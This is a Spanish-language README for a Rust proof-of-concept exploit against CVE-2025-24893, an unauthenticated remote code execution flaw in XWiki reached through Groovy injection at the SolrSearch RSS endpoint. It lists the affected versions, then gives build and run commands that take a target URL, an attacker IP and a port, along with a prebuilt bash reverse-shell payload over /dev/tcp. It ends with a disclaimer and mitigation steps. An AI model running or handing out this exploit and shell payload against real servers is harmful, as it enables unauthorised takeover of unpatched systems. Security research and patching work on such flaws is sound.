CVE-2025-24893 — RCE no autenticado en XWiki (PoC)

Exploit de Prueba de Concepto para CVE-2025-24893, una vulnerabilidad crítica de Ejecución Remota de Código no autenticada en XWiki.
Este exploit abusa de una inyección de plantilla Groovy en el endpoint SolrSearch para ejecutar comandos arbitrarios — incluyendo shells inversas — sin autenticación.

💥 Detalles de la Vulnerabilidad

Una falla en cómo XWiki maneja la entrada manipulada al endpoint RSS SolrSearch permite a los atacantes inyectar código Groovy en el pipeline de renderizado.
Esto habilita RCE no autenticado mediante bloques de script {{groovy}}.

✅ Versiones Afectadas

• < 15.10.11
• >= 16.0.0 y < 16.4.1

❌ Corregido en

• 15.10.11
• 16.4.1

🔧 Uso

Descarga el lanzamiento:

Lanzamientos

o compila desde el código fuente:

cargo build --release
./target/release/cve-2025-24893-gato --url http://target --ip 10.10.10.10 --port 4444

Payload de Shell Inversa

Hay un payload preconstruido de shell inversa en esta forma:

bash -c 'sh -i >& /dev/tcp/{IP}/{PORT} 0>&1

⚠️ Aviso Legal

Este código es solo para fines educativos e investigación de seguridad autorizada.
No uses este exploit contra sistemas que no poseas o para los que no tengas permiso explícito de prueba.

✍️ Créditos

• PoC del exploit por Artemir7
• Adaptación a Rust por investigato

🛡️ Detección y Mitigación

• Actualiza a XWiki 15.10.11 o 16.4.1+
• Monitorea el uso sospechoso de /bin/get/Main/SolrSearch?media=rss
• Deshabilita la ejecución de Groovy para usuarios anónimos si es posible